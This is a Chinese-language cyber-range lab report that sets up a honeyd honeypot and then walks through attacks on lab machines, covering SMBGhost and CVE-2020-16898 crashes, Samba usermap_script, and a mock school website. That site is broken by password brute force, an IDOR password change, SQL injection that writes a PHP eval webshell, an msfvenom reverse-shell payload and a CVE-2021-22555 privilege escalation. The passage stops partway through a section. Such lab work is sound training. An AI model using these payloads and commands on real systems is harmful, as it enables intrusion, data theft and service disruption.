网络靶场攻防综合实验

目录

一,靶场环境搭建

1.1,网络拓扑结构图

在这里插入图片描述

1.2,搭建简易的网络攻防实验靶场环境,包括:

  • 使用honeyd软件实现低交互模拟蜜罐,要求能够模拟主机、服务、漏洞和网络拓扑。
  • 多台具有不同类型漏洞的虚拟机系统。
  • 具有漏洞学校站点类型的Web网站系统。

1.3,网络靶场攻击渗透测试,包括:

  • 使用扫描工具对网络靶场进行探测扫描,获取主机信息,分析发现漏洞信息
  • 使用metasploit等攻击工具对网络靶场进行攻击,达到获取管理员权限、进程操作、窃取数据库密码、篡改管理员密码、被迫蓝屏、等攻击效果

1.4,网络靶场攻击检测

  • 在honeyd模拟蜜罐观察到访问记录
  • 虚拟机上部署入侵检测工具snort,检测并采集攻击信息,通过日志文件、告警文件等方式进行记录分析

二,靶场的搭建与攻击渗透测试

2.1,Honeyd

2.1.1,honeyd概述

蜜罐技术(Honeypot),是一种对攻击方进行欺骗的技术,通常伪装成看似有价值的网络、数据、电脑系统,并故意设置bug来吸引攻击者;从而可以对攻击行为进行捕获和分析,了解攻击方所使用的工具与方法,推测攻击意图和动机,能够让防御方清晰地了解他们所面对的安全威胁,并通过技术和管理手段来增强实际系统的安全防护和能力。蜜罐是故意让人攻击的目标,引诱黑客前来攻击。所以攻击者入侵后,你就可以知道他是如何得逞的,随时了解针对服务器发动的最新的攻击和漏洞。还可以通过窃听黑客之间的联系,手机黑客所用的种种工具,并且掌握他们的是社交网络。

2.1.2,honeyd所依赖的函数库

(1) Libevent:是一个非同步事件通知的函数库。通过使用Libevent,开发者能够设定某些事件发生时所运行的函数,能够取代以往程序所使用的循环检查。
(2) Libdnet:是一个提供了跨平台的网络相关API的函数库,包含arp缓存,路由表查询,IP包及物理帧的传输等。
(3) Libpcap:是一个数据包捕获的函数库,大多数网络软件都以它为基础。
(4) Arpd:arpd执行在于Honeyd同样的系统上。是honeyd众多协作工具中最重要的一个。Arpd工作时监视局域网内的流量。并通过查看hneyd系统的ARP表推断其它系统的活动与否。
(5) zlib:Linux核心使用zlib以实作网络协定的压缩、档案系统的压缩以及开机时解压缩自身的核心。

2.1.3,搭建honeyd

将所有库的安装包及工具放在honeyd文件夹中,依次解压并安装
(1)Libevent安装:

使用tar -zxvf libevent-1.4.14b-stable.tar.gz解压缩
使用cd libevent-1.4.14b-stable进入文件夹
使用./configure检测目标特征
使用make进行编译
使用make install安装

(2)libdnet安装:

tar -zxvf libdnet-1.11.tar.gz
cd libdnet-1.11
./configure
make
make install

(3)libpcap的安装

tar -zxvf libpcap-1.3.0.tar.gz
cd libpcap-1.3.0
./configure
make
make install

(4)honeyd安装

tar -zxvf honeyd-1.5c.tar.gz
cd honeyd-1.5c
./configure
make
make install

(5)arpd安装

tar -zxvf tar-0.2.tar.gz
cd arpd-0.2
./configure
make
make install

2.1.4,编写honeyd的配置文件

(1)honeyd的配置文件hoenyd.conf

route entry 192.168.43.153 network 192.168.43.144/28   
route 192.168.43.153 link 192.168.43.152/29  

route 192.168.43.153 add net 192.168.43.156/30 192.168.43.157
route 192.168.43.157 link 192.168.43.165/30

create windows
set windows personality "Microsoft Windows 2000 SP2"   
set windows default tcp action reset   
set windows default udp action reset   
set windows default icmp action open
add windows tcp port 110 "/usr/share/honeyd-1.5c/scripts/pop3.pl"
add windows tcp port 80 "/usr/share/honeyd-1.5c/scripts/web.sh"
add windows tcp port 25 "/usr/share/honeyd-1.5c/scripts/smtp.pl"
add windows tcp port 23 "/usr/share/honeyd-1.5c/scripts/router-telnet.pl"
add windows tcp port 21 proxy 192.168.43.1:21

create linux
set linux personality "Linux 2.4.20"   
set linux default tcp action reset   
set linux default udp action reset   
set linux default icmp action open
add linux tcp port 80 "/usr/share/honeyd-1.5c/scripts/web.sh"
add linux tcp port 23 "/usr/share/honeyd-1.5c/scripts/router-telnet.pl"
add linux tcp port 22 "/usr/share/honeyd-1.5c/scripts/ssh.sh"
add linux tcp port 21 proxy 192.168.43.1:21
add linux tcp port 20 open

create router   
set router personality "Cisco 7206 running IOS 11.1(24)"   
set router default tcp action reset
add router tcp port 23 "/usr/share/honeyd-1.5c/scripts/router-telnet.pl"  

bind 192.168.43.153 router   
bind 192.168.43.156 router  

bind 192.168.43.154 windows   
bind 192.168.43.155 linux   
bind 192.168.43.157 windows   
bind 192.168.43.158 linux

(2)ssh端口的配置文件ssh.sh

# $1: srcip, $2: srcport, $3: dstip, $4: dstport, $5: config
#
# modified by Fabian Bieker <fabian.bieker@web.de>
# modified by DataSoft Corporation
#. scripts/misc/base.sh
SRCIP=$1
SRCPORT=$2
DSTIP=$3
DSTPORT=$4

STRINGSFILE=$5
VERSION=`perl -nle '/SSH_VERSION (.*)/ and print $1' < $STRINGSFILE`

SERVICE="ssh"
HOST="serv"


my_start

echo -e "$VERSION"

while read name; do
	echo "$name" >> $LOG
	LINE=`echo "$name" | egrep -i "[\n ]"`
	if [ -z "$LINE" ]; then
		echo "Protocol mismatch."
		my_stop	
	else
        echo "$name"
	fi
done
my_stop

(3)web端口的配置文件web.sh

REQUEST=""
while read name
do
	LINE=`echo "$name" | egrep -i "[a-z:]"`
	if [ -z "$LINE" ]
	then
		break
	fi
	echo "$name" >> /tmp/log
	NEWREQUEST=`echo "$name" | grep "GET .scripts.*cmd.exe.*dir.* HTTP/1.0"`
	if [ ! -z "$NEWREQUEST" ] ; then
		REQUEST=$NEWREQUEST
	fi
done

if [ -z "$REQUEST" ] ; then
	cat << _eof_
HTTP/1.1 404 NOT FOUND
Server: Microsoft-IIS/5.0
P3P: CP='ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI'
Content-Location: http://cpmsftwbw27/default.htm
Date: Thu, 04 Apr 2002 06:42:18 GMT
Content-Type: text/html
Accept-Ranges: bytes

<html><title>You are in Error</title>
<body>
<h1>You are in Error</h1>
O strange and inconceivable thing! We did not really die, we were not really buried, we were not really crucified and raised again, but our imitation was but a figure, while our salvation is in reality. Christ was actually crucified, and actually buried, and truly rose again; and all these things have been vouchsafed to us, that we, by imitation communicating in His sufferings, might gain salvation in reality. O surpassing loving-kindness! Christ received the nails in His undefiled hands and feet, and endured anguish; while to me without suffering or toil, by the fellowship of His pain He vouchsafed salvation.
<p>
St. Cyril of Jerusalem, On the Christian Sacraments.
</body>
</html>
_eof_
	exit 0
fi

DATE=`date`
cat << _eof_
HTTP/1.0 200 OK
Date: $DATE
Server: Microsoft-IIS/5.0
Connection: close
Content-Type: text/plain


 Volume in drive C is Webserver      
 Volume Serial Number is 3421-07F5
 Directory of C:\inetpub

01-20-02   3:58a      <DIR>          .
08-21-01   9:12a      <DIR>          ..
08-21-01  11:28a      <DIR>          AdminScripts
08-21-01   6:43p      <DIR>          ftproot
07-09-00  12:04a      <DIR>          iissamples
07-03-00   2:09a      <DIR>          mailroot
07-16-00   3:49p      <DIR>          Scripts
07-09-00   3:10p      <DIR>          webpub
07-16-00   4:43p      <DIR>          wwwroot
             0 file(s)              0 bytes
            20 dir(s)     290,897,920 bytes free
_eof_

(4)路由器的配置文件router.pl

#!/usr/bin/perl
# Copyright 2002 Niels Provos <provos@citi.umich.edu>
# All rights reserved.
#
# For the license refer to the main source code of Honeyd.
#
# Don't echo Will Echo Will Surpress Go Ahead
$return = pack('ccccccccc', 255, 254, 1, 255, 251, 1, 255, 251, 3);
syswrite STDOUT, $return,9;

$count = 0;
while ($count < 3) {
  do {
    $count++;
    syswrite STDOUT, "\r\n";
    $word = read_word("Username: ", 1);
  } while (!$word && $count < 3);
  if ($count >= 3 && !$word) {
    exit;
  }
  $password = read_word("Password: ", 0);
  if (!$password) {
    syswrite STDOUT, "% Login invalid\r\n";
  } else {
    syswrite STDERR, "Attempted login: $word/$password";
    syswrite STDOUT, "% Access denied\r\n";
  }
}

exit;

sub read_word {
  local $prompt = shift;
  local $echo = shift;
  local $word;

  syswrite STDOUT, "$prompt";

  $word = "";
  $alarmed = 0;
  eval {
    local $SIG{ALRM} = sub { $alarmed = 1; die; };
    alarm 30;
    $finished = 0;
    do {
      $nread = sysread STDIN, $buffer, 1;
      die unless $nread;
      if (ord($buffer) == 0) {
	; #ignore
      } elsif (ord($buffer) == 255) {
	sysread STDIN, $buffer, 2;
      } elsif (ord($buffer) == 13 || ord($buffer) == 10) {
	syswrite STDOUT, "\r\n" if $echo;
	$finished = 1;
      } else {
	syswrite STDOUT, $buffer, 1 if $echo;
	$word = $word.$buffer;
      }
    } while (!$finished);
    alarm 0;
  };
  #syswrite STDOUT, "\r\n" if $alarmed || ! $echo;
  #if ($alarmed) {
   # syswrite STDOUT, "% $prompt timeout expired!\r\n";
    #return (0);
  #}

  return ($word);
}

2.1.5,启动honeyd

在命令行中输入:honeyd -d -f test.conf -I ens33
在这里插入图片描述

2.1.6,检查honeyd搭建情况

(1)Nmap扫描查看honeyd
可以看到192.168.43.152—192.168.43.159和192.168.43.164—192.168.43.167部分的主机物理地址全都是F8:89:D2:82:B5:C7
在这里插入图片描述

(2)Telent连接测试
Kali使用telent命令。连接192.168.43.155,观察日志文件和连接结果,输入命令:telnet 192.168.43.155,检测结果如下图,来凝结成功,但是因为不知道用户名和密码,输入三次用户名和密码后直接退出
在这里插入图片描述
查看honeyd的连接信息

在这里插入图片描述
(3)Ssh连接
使用命令:ssh root@192.168.43.155观察该主机的ssh连接情况
在这里插入图片描述

观察honeyd的返回信息,禁止连接,与配置文件相符

在这里插入图片描述
(4)Web运行
在浏览器输入URL:192.168.43.155,检查web运行情况,如下图所示,与配置文件相符
在这里插入图片描述
查看honeyd返回信息,成功运行web脚本

在这里插入图片描述

2.2,具有“永恒之黑”CVE-2020-0796漏洞的虚拟主机

2.2.1,漏洞概述

2020年3月12日,微软发布安全公告披露了一个最新的SMBv3(3.1.1)远程代码执行漏洞(CVE-2020-0796),俗称“永恒之黑”。
SMB(Server Message Block)协议作为一种局域网文件共享传输协议,常被用来作为共享文件安全传输研究的平台。本漏洞源于SMBv3没有正确处理压缩的数据包,在解压数据包的时候使用客户端传过来的长度进行解压时,并没有检查长度是否合法,最终导致整数溢出。利用该漏洞,攻击方可直接远程攻击SMB服务端远程执行任意恶意代码,亦可通过构建恶意SMB服务端诱导客户端连接从而大规模攻击客户端。永恒之黑一旦被成功利用,其危害不亚于永恒之蓝。
同时,CVE-2020-0796漏洞与“永恒之蓝”系列漏洞极为相似,都是利用Windows SMB漏洞远程攻击获取系统最高权限。“永恒之黑”漏洞高危之处在于对SMB客户端的攻击,攻击者可以通过构造一个“特制”的网页、压缩包、共享目录、OFFICE文档等,向攻击目标发送,一旦被攻击者打开则瞬间触发漏洞受到攻击

漏洞危害等级:高危
漏洞影响范围 :
永恒之黑的对象为采用Windows 10 1903之后的所有终端节点,如Windows家用版、专业版、企业版、教育版,Windows 10 1903 (19H1)、Windows 10 1909、 Windows Server 19H1均为潜在攻击目标,Windows 7不受影响。

2.2.2,复现环境

靶机:cn_windows_10_consumer_editions_version_1903_x64 (关闭防火墙)、
攻击机:kali 2021.3
(1)关闭靶机Windows 10的更新服务和防火墙
首先找到设置→Windows安全中心,关闭防火墙等多项设置

在这里插入图片描述
然后进入:服务找到Windows update→选择禁用

在这里插入图片描述
(2)开启Administrator账户
管理→本地用户和组→用户→双击administrator→把账户已禁用勾掉

在这里插入图片描述

去掉勾后,返回上一级,右键administrator–设置密码

在这里插入图片描述

之后重启电脑,用administrator账户登录

在这里插入图片描述

2.2.3,漏洞检测

(1)通过git命令下载检测CVE-2020-0796漏洞的python脚本,脚本的存放文件夹为“SMBGhost”
git clone https://github.com/ollypwn/SMBGhost.git
在这里插入图片描述
(2)利用脚本“scanner.py”检测目标主机是否存在该漏洞
“Vulnerable”表明该Windows10主机存在漏洞,具有脆弱性

在这里插入图片描述

2.2.4,蓝屏攻击复现

(1)在攻击机Kali-Linux上下载该漏洞蓝屏攻击的PoC
git clone https://github.com/eerykitty/CVE-2020-0796-PoC.git
在这里插入图片描述
(2)使用python3安装刚才下载的PoC
python3 setup.py install

在这里插入图片描述
(3)利用PoC对Windows10靶机进行攻击
python3 CVE-2020-0796.py 192.168.31.137
在这里插入图片描述

(4)Windows10蓝屏后被迫重启,故利用CVE-2020-0796漏洞成功进行蓝屏攻击

在这里插入图片描述

2.2.5,远程提权复现

(1)下载漏洞攻击的脚本
git clone https://github.com/chompie1337/SMBGhost_RCE_PoC.git
在这里插入图片描述
(2)使用msf生成漏洞攻击的脚本evil.py
在这里插入图片描述
(3)为了防止操作失误,将exploit.py原文件文件进行备份
在这里插入图片描述
(4)将exploit.py的USER_PAYLOAD部分删除,替换为evil.py里生成的payload。替换之后,追加一行“USER_PAYLOAD = buf”(为方便修改,将文件放在window主机里替换)
在这里插入图片描述
(5)在kali攻击机的另一个窗口开启MSF监听
在这里插入图片描述
在这里插入图片描述
并设置相关参数:
在这里插入图片描述

在这里插入图片描述

(6)执行exploit.py脚本对靶机Windows10进行攻击
在这里插入图片描述

(7)返回查看开启了MSF的窗口,已成功建立远程连接,并获得了管理员权限system32

在这里插入图片描述
在这里插入图片描述
(8)在Windows10上查看端口列表,这一远程连接存在
在这里插入图片描述

2.3,对Metasploitable2 靶机的扫描和提权

2.3.1,搭建Metasploitable2 靶机

2.3.1.1,Metasploit框架介绍

Metasploitable2 虚拟系统是一个特别制作的ubuntu操作系统,本身设计作为安全工具测试和演示常见漏洞攻击。版本2已经可以下载,并且比上一个版本包含更多可利用的安全漏洞。这个版本的虚拟系统兼容VMware,VirtualBox,和其他虚拟平台。默认只开启一个网络适配器并且开启NAT和Host-only,本镜像一定不要暴漏在一个易受攻击的网络中。
Metasploit是一款开源的安全漏洞检测工具,可以帮助安全和IT专业人士识别安全性问题,验证漏洞的缓解措施,并管理专家驱动的安全性进行评估,提供真正的安全风险情报。这些功能包括智能开发,代码审计,Web应用程序扫描,社会工程。团队合作,在Metasploit和综合报告提出了他们的发现。在kali上已安装metasploit
在这里插入图片描述

2.3.1.2,搭建Metasploitable 2

(1) 从metasploit网站中下载压缩包,随后将压缩包解压缩
在这里插入图片描述
(2) 打开Vmware Workstation,选择“打开虚拟机”
在这里插入图片描述
(3) 选择解压缩出来的.vmx文件
在这里插入图片描述
(4) 修改靶场的网络配置
在这里插入图片描述
(5) 将网络适配器中的NAT,改为桥接模式(本次实验环境在不同主机之间进行,在一个局域网下进行攻击)
在这里插入图片描述
(6) 开启虚拟机
在这里插入图片描述
在这里插入图片描述

在这里插入图片描述

  1. 操作之前需要登录,登录的账号和密码都为”msfadmin”,输入后成功进入在这里插入图片描述

  2. 查看靶机的ip地址在这里插入图片描述

  3. 靶机ip地址:192.168.43.20
    在这里插入图片描述
    攻击者(kali)ip地址:192.168.43.230

2.3.2,攻击一:使用msf扫描靶机上mysql服务的空密码

  1. 进入管理员权限,打开metasploit工具准备攻击

在这里插入图片描述
在这里插入图片描述
2. 搜索mysql登录模块,查看可能存在的MySQL漏洞在这里插入图片描述
3. 搜索到了一个漏洞,利用此漏洞进行攻击尝试。加载模块
在这里插入图片描述
4. 查看模块配置项在这里插入图片描述

  1. 3下面我们进行攻击前的配置:
    配置要爆破的用户(root):
    Set username root
    开启为所有用户尝试连接空密码:
    Set blank_passwords true
    参数:BLANK_PASSWORDS 含意:Try blank passwords for all users #为所有用户尝试空 密码 。
    设置目标主机:
    Set rhost 192.168.43.204
    在这里插入图片描述

  2. 配置完成后我们执行exploit或者run进行攻击在这里插入图片描述
    其中显示对于两主机的3306端口,success “root” 说明已经成功扫描到了root用户

  3. 使用后端凭证,列出数据库中的所有凭据在这里插入图片描述

  4. 将扫描的结果导出在这里插入图片描述
    将文件导出至kali主机的root/xml/bak1.xml文件下
    注:导出只支持两种格式:xml和pwdump
    常用的导出格式为xml
    在这里插入图片描述

2.3.3,攻击二:利用usermap_script漏洞获取获得靶机的管理员权限

  1. 漏洞信息
    Samba 介绍:
    Samba是linux和unix系统上实现smb协议的一个免费软件,由客户机和服务器构成。SMB是一种在局域网上实现共享文件和打印机的协议。存在一个服务器,客户机通过该协议可以服务器上的共享文件系统和打印机以及其他的资源。通过设置,还可以和全世界的电脑分享资源。
    Username map script漏洞:
  • Samba协议的一个漏洞CVE-2007-2447,用户名映射脚本命令执行
  • 影响Samba的3.0.20到3.0.25rc3 版本
  • 当使用非默认的用户名映射脚本配置选项时产生
  • 通过指定一个包含shell元字符的用户名,攻击者能够执行任意命令
    开放端口及对应服务:
    TCP:
  • 139 - 文件和打印共享 ; smbd (基于SMB(Server Message Block)协议,主要在局域网中使用,文件共享协议)
  • 389 - 用于 LDAP (Active Directory Mode)
  • 445 - NetBIOS服务在windos 2000及以后版本使用此端口, (Common Internet File System,CIFS,它是SMB协议扩展到Internet后,实现Internet文件共享)
  • 901 - 用于 SWAT,用于网页管理Samba
    UDP:
  • 137 - NetBIOS 名字服务 ; nmbd
  • 138 - NetBIOS 数据报服务
  1. 已知靶机的SMB协议已打开,搜索samba,查看可以利用的相关漏洞模块
    在这里插入图片描述
    3.发现其存在usermap_script漏洞,利用其漏洞
    use exploit/multi/samba/usermap_script
    在这里插入图片描述

显示没有payload,无法进行攻击,我们稍后将配置payload
4. 进入后,查看模块配置在这里插入图片描述

  1. 配置相关信息:设置目标主机的ip地址和端口在这里插入图片描述

  2. 由于前面的默认payload是一个监听攻击,而此处我们希望进行提权攻击,因此查找payload在这里插入图片描述

  3. 找到payload cmd/unix/reverse,利用reverse payload给主机反弹shell在这里插入图片描述

  4. 配置好后进行攻击在这里插入图片描述

最后一行显示shell session 1 opened,证明已经提权成功
9. 查看靶机信息(用户名,主机名,主机型号和口令)在这里插入图片描述

  1. 进入bin目录增加一个文件,文件名为“2021-12-17”在这里插入图片描述在这里插入图片描述

说明已成功提权,可以操控靶机!

2.4,具有CVE-2020-16898漏洞的虚拟主机

2.4.1,漏洞描述

(1) 组件概述
TCP/IP是Internet上使用的通信协议。从Windows XP/Server 2003开始,TCP/IP成为操作系统的核心组件。其功能在内核级别运行,并由驱动程序tcpip.sys提供。该驱动程序处理所有传入和传出的TCP/IP通信信息,包括解析从网络接口收到的数据包,以及解释此数据并将其传递给更高级别的组件。
(2) 漏洞简述
2020年10月14日,Microsoft发布了该TCP/IP远程代码执行漏洞的风险通告。该漏洞主要是由于Windows TCP/IP堆栈在处理选项类型为25(0x19,递归DNS服务器选项)且长度字段值为偶数的ICMPv6的路由广播数据包时,处理逻辑存在纰漏,导致存在远程代码执行漏洞。成功利用该漏洞的攻击者可以在目标机器(主机或服务器)上执行任意代码。
漏洞影响的Windows系统版本有Microsoft Windows 10 1709、Microsoft Windows 10 1803、Microsoft Windows 10 1809、Microsoft Windows 10 1903、Microsoft Windows 10 1909、Microsoft Windows 10 2004、Microsoft Windows Server 2019、Microsoft Windows Server, version 1903、Microsoft Windows Server, version 1909、Microsoft Windows Server, version 2004。

2.4.2,漏洞复现

下载一个存在该漏洞的Win10镜像(此处选择的是Windows 10 1903),安装虚拟机:
在这里插入图片描述

关闭靶机的防火墙:
在这里插入图片描述

在另一台Win10系统攻击机中安装python3.7并下载scapy组件,下载漏洞exp脚本,根据攻击机和靶机的实际情况将脚本中的源ipv6地址和目标ipv6地址进行修改:
在这里插入图片描述

运行脚本,向靶机连续发送构造的ICMPv6路由器广告数据包:
在这里插入图片描述

靶机蓝屏重启:
在这里插入图片描述

2.4.3,漏洞分析

根据通过公开信息和补丁可以大致定位漏洞发生位置在Ipv6pUpdateRDNSS函数中。
Router Advertisement协议的报文格式如下:

在这里插入图片描述

其中比较重要的几个字段解释如下:

  • Type占一个字节,RDNSS选项类型的值为25(0x19);
  • Length占一个字节,如果该选项中包含一个 IPv6 地址,则长度取最小值3,每增加一个 RDNSS 地址,长度就会增加2,接收器使用“长度”字段来确定选项中IPv6地址的数量;
  • Addresses of IPv6 Recursive DNS Servers为可变长度(由“Length”字段确定),记录一个或多个递归DNS服务器的 128 位 IPv6 地址,地址个数为(Length - 1)/ 2。
    根据协议规定,length字段必须为不小于3的奇数。但是当遏抑构造数据包使传入的length值为偶数2时,根据协议,(2-1)/2 = 0,此数据包会被判断为没有地址,从而RDNSS选项的最后八个字节被错误地当作下一个选项的前八个字节。
  • 根据此原理,可以对下一选项的前八个字节内容进行控制,从而字段type可以被伪造。根据type的不同值,可以进而控制程序流。
  • 此时函数有三种type值,分别为3:break;24:Route Information Option;25:RDNSS Option。其中25正是出发漏洞的地方,因此24可以被选择利用。当type为24时,会调用NdisGetDataBuffer函数,该函数原型如下图所示:
    在这里插入图片描述
  • 第一个参数 NetBuffer 为一个指向 NET_BUFFER 结构的指针;第二个参数 BytesNeeded 为请求数据的长度;第三个参数 Storage 为指向缓冲区的指针,如果调用者不提供缓冲区,则为 NULL。如果此值非 NULL 且请求的数据不连续,则 NDIS 会将请求的数据复制到 Storage 指向的缓冲区。
  • 倘若对Ipv6数据进行分段,构造并发送非连续的数据包,则重新组合的数据包数据会以非连续的方式存储在NET_BUFFER中。如此一来,对NdisGetDataBuffer的调用就会从构造的数据包中复制任意数量的字节到堆栈中的固定大小的缓冲区中,导致基于堆栈的缓冲区溢出,使得攻击者可以用任意的值覆盖tcpip!Ipv6pHandleRouterAdvertisement的返回地址。
  • 在上述漏洞复现过程中,所发送的数据包导致栈上溢出,溢出的内容覆盖了栈上的security_cookie标志(如下图所示),所以触发触发tcpip!_security_check_cookie,造成蓝屏(BSOD)。
    在这里插入图片描述
    从蓝屏的终止代码也能反映出该原因:
    在这里插入图片描述

2.5, 学校主页类型的Web网站的搭建与攻击

2.5.1,服务器环境搭建

2.5.1.1,服务器XAMPP部署

服务器:Ubuntu 20.04
XAMPP(Apache+MySQL+PHP+PERL)安装及部署:
下载安装包,版本选择7.4.26

在这里插入图片描述

解压安装xampp
在这里插入图片描述

安装目录:/opt/lampp/
在这里插入图片描述

安装成功:
在这里插入图片描述

切换到root用户,设置MySQL、phpadmin user pma、FTP的密码,选择复杂度较高的密码。
在这里插入图片描述

XAMPP环境启动成功:
在这里插入图片描述

Phpmyadmin搭建成功,http://ip/phpmyadmin/可以访问。
在这里插入图片描述

2.5.1.2,网页源码及内容部署

构建学校站点类型的网页,具有网站首页、学校概况、德语视窗、教研教学、外语特色、国际交流、学子风采、学校咨询、万能表单、联系我们这几个模块,这些模块主要是可浏览的模块。
在这里插入图片描述

网站还有注册功能、登录功能、找回密码功能。注册功能在搭建完成以后不会开启,主要是用于搭建时注册部分学生的账号。找回密码功能暂时没有实现。网站搭建完成后会开启登录功能,用户可使用正确的账号和密码登录用户中心。个人中心里面提供修改密码、绑定手机、上传头像等功能。
登录功能:
在这里插入图片描述

个人中心:
在这里插入图片描述

可以修改相关信息:
在这里插入图片描述

修改密码功能:
在这里插入图片描述

2.5.1.3,服务器内核更换

更换服务器Ubuntu的内核版本为5.8.0-48,该版本的内核具有漏洞,可利用提权。
首先安装5.8.0-48版本的内核
在这里插入图片描述
修改GRUB引导相关的配置文件:
在这里插入图片描述
重启,uname -r命令查看内核版本,内核更换成功。
在这里插入图片描述

2.5.1.4,服务器gcc安装

为了利用上面内核相关的可本地提权的漏洞,需要将利用脚本.c文件编译为elf文件,故在Ubuntu上安装gcc。
安装gcc:

在这里插入图片描述
安装libc
在这里插入图片描述
网站环境搭建完成。

2.5.2,Web渗透

2.5.2.1,Nmap、dirb扫描

查看本机(攻击机)IP,为192.168.43.250

在这里插入图片描述
使用nmap扫描整个网段在这里插入图片描述
使用nmap全面扫描IP为192.168.43.149的主机,其开放了21、22、80、443、3306端口和相应服务。还通过robots.txt扫出了可能存在phpinfo.php在这里插入图片描述在这里插入图片描述
使用dirb扫描192.168.43.149的后台目录在这里插入图片描述
访问http://192.168.43.149/,为网站首页

在这里插入图片描述
访问http://192.168.43.149/admin/,应该是网站管理员的登录界面

在这里插入图片描述

2.5.2.2,phpinfo泄露

访问http://192.168.43.149/phpinfo.php

在这里插入图片描述
网站根目录为/opt/lamp/htdocs在这里插入图片描述

2.5.2.3,弱密码爆破

网站外表暂时未发现可利用的漏洞,浏览页面未发现注入,下面尝试获取一个账号进行登录。登陆需要用户名和密码,在学校网页的学校资讯——学校公告里发现两条可以利用的通知:
在这里插入图片描述
助学金推荐名单公示中泄露了92位学生的姓名与学号:
在这里插入图片描述

在这里插入图片描述

在这里插入图片描述
评教的通知中显示学校官网的个人中心使用学号和学号后六位作为初始密码:
在这里插入图片描述
在这里插入图片描述
可能助学金公示名单中的学生中未修改密码的情况,下面将学号及姓名信息复制到本地的login.txt中,使用python提取11位学号及后6位作为密码
在这里插入图片描述
提取脚本:读出login.txt中每一行,若以”1”开头,即将后11位写到id.txt中,作为学号,将后6位写到pwd.txt中,作为密码。
在这里插入图片描述
运行脚本,生成id.txt及pwd.txt在这里插入图片描述
部分学号与初始密码:
在这里插入图片描述
访问登陆界面,输入用户名:1,密码:2,Burp suite抓包,转到intruder模块,将M_login和M_pwd字段设置为爆破点,攻击模式选择鱼叉模式。
在这里插入图片描述
设置payload:1位置选择id.txt,2位置选择pwd.txt
学号及对应初始密码已导入:
在这里插入图片描述
在这里插入图片描述

爆破,响应包length降序排序,发现3654长度的包有一个与其他3614长度的不一样,响应包内容中有success提示,猜测爆破出了一个正确的学号19110270213和密码270213。

在这里插入图片描述
使用学号19110270213和密码270213登录,成功登录:在这里插入图片描述

2.5.2.4,修改密码逻辑漏洞——水平提权

已经登录,发现有修改密码选项,检测一下是否存在水平越权。

在这里插入图片描述
填写原密码、新密码,点击修改
Burp suite抓包,使用repeater模块

在这里插入图片描述
将代表学号的M_login字段的191110270213修改为任意一位已知学生的学号,这里选择18106230103,密码设为20211218,发送,响应包显示success。
在这里插入图片描述
使用刚刚修改的学号及设定的密码登录:
在这里插入图片描述
登录成功,存在水平越权:
在这里插入图片描述
说明后端在修改密码处根据M_login判断用户身份,有可能直接将M_login放入SQL语句中进行查询,尝试在学号后加”’”,测试是否存在注入
响应包显示SQL语法错误,说明没有对M_login的内容进行检查和过滤,可能存在字符型的SQL注入。

在这里插入图片描述

2.5.2.5,修改密码SQL注入漏洞——getshell

将修改密码的POST包内容复制到桌面的1.txt中,使用sqlmap扫描,命令:sqlmap -r 1.txt

在这里插入图片描述
扫描结果:没有可注入的地方,可能是因为没有回显,所以扫不出来。
在这里插入图片描述
不过上面通过phpinfo.php我们已经知道了网站根目录,虽然不知道MySQL有没有写权限,还是尝试一下手工注入,使用SQL语句向网站根目录写一个一句话木马。
一句话内容:<?php @eval($_POST[“20211218”]);?> ,然后使用十六进制进行编码

在这里插入图片描述
通过SQL语句写入一句话前:没有该木马

在这里插入图片描述
SQL注入点写一句话木马:在这里插入图片描述
响应包显示success,写入成功。

在这里插入图片描述
浏览器访问木马:可以访问到,不过十六进制的一句话木马没有显示出来
在这里插入图片描述
中国蚁剑连接:
在这里插入图片描述
Getshell
在这里插入图片描述

2.5.2.6,获取数据库密码

网站在被访问时需要连接数据库,开始时应该会通过php连接MySQL,下面通过蚁剑在网站根目录下的function文件夹中找到conn.php,里面写着MySQL数据库的root用户的登录密码。

在这里插入图片描述
在这里插入图片描述

在这里插入图片描述
尝试访问该网站的phpmyadmin,显示部署了phpmyadmin,所以可以使用刚刚得到的密码进行登录数据库:
在这里插入图片描述
登录成功,拿到数据库:
在这里插入图片描述

2.5.2.7,MSF反弹shell

使用中国蚁剑的虚拟终端可以在服务器上执行命令,但是发现当前用户是一个普通用户daemon。

在这里插入图片描述
查看内核版本,为5.8.0-48
在这里插入图片描述
搜索5.8.0-48 Linux内核的漏洞,发现CVE-2021-22555影响到该版本的内核。
在这里插入图片描述
在这里插入图片描述
攻击者下载好利用脚本exploit.c,使用蚁剑上传到服务器的/tmp目录下
在这里插入图片描述
在这里插入图片描述
使用蚁剑的虚拟终端,在/tmp中使用gcc编译exploit.c,然后./exp执行
在这里插入图片描述
但是执行多次都没有成功提权,可能蚁剑不稳定,故考虑使用msf获取一个反弹shell,然后再使用反弹shell进行提权。
在这里插入图片描述
在攻击者桌面使用命令Msfvenom -p linux/x86-meterpreter/reverse_tcp LHOST=192.168.43.250 LPORT=4444 -f elf > backdoor.elf
生成一个针对Linux目标主机的payload:backdoor.elf,执行后将会连接到攻击者的4444端口

在这里插入图片描述
使用蚁剑将backdoor.elf上传到服务器的/tmp下
在这里插入图片描述
在这里插入图片描述
打开msfconsole,使用exploit/multi/handle模块,设置payload的类型、IP、端口,然后exploit开始监听本机的4444端口
在这里插入图片描述
使用蚁剑的虚拟终端在服务器的/tmp下给刚刚上传的backdoor.elf赋予执行权限,然后./backdoor.elf执行
在这里插入图片描述
Msf拿到一个反弹shell
在这里插入图片描述
使用meterpreter得到当前用户仍为daemon
在这里插入图片描述
Meterpreter中使用shell命令,进入到类似于蚁剑的虚拟终端,不过meterpreter中的shell输入命令的地方没有缩进,即输入命令前不会显示”当前用户名@主机名 $”,,直接显示了光标,不影响使用。
在这里插入图片描述

2.5.2.8,内核漏洞利用——本地提权

下面使用meterpreter的shell进行本地提权,在服务器/tmp下,多次执行./exp,同时使用whoami查看是否提权成功。多次执行./exp后终于变为root用户。
红框处为输入的命令:

在这里插入图片描述
提升为root,可以进入/root目录了,之前daemon没有权限进入该目录。
在这里插入图片描述
进行文件操作:
在这里插入图片描述
进行服务器root用户密码重置:
在这里插入图片描述
进程操作:ps查看进程,716号进程问sshd服务
在这里插入图片描述
使用命令kill -s 9 716杀死sshd进程

在这里插入图片描述
成功kill 进程。

在这里插入图片描述

2.5.2.9,网站管理员密码重置

之前通过dirb扫目录发现了http://192.168.43.149/amdin,为网站管理员登录界面,下面尝试登录:

在这里插入图片描述
首先需要知道管理员用户名,猜测可能有admin,不过我们之前已经拿下了数据库,可以直接在数据库中找一找相关的表项:
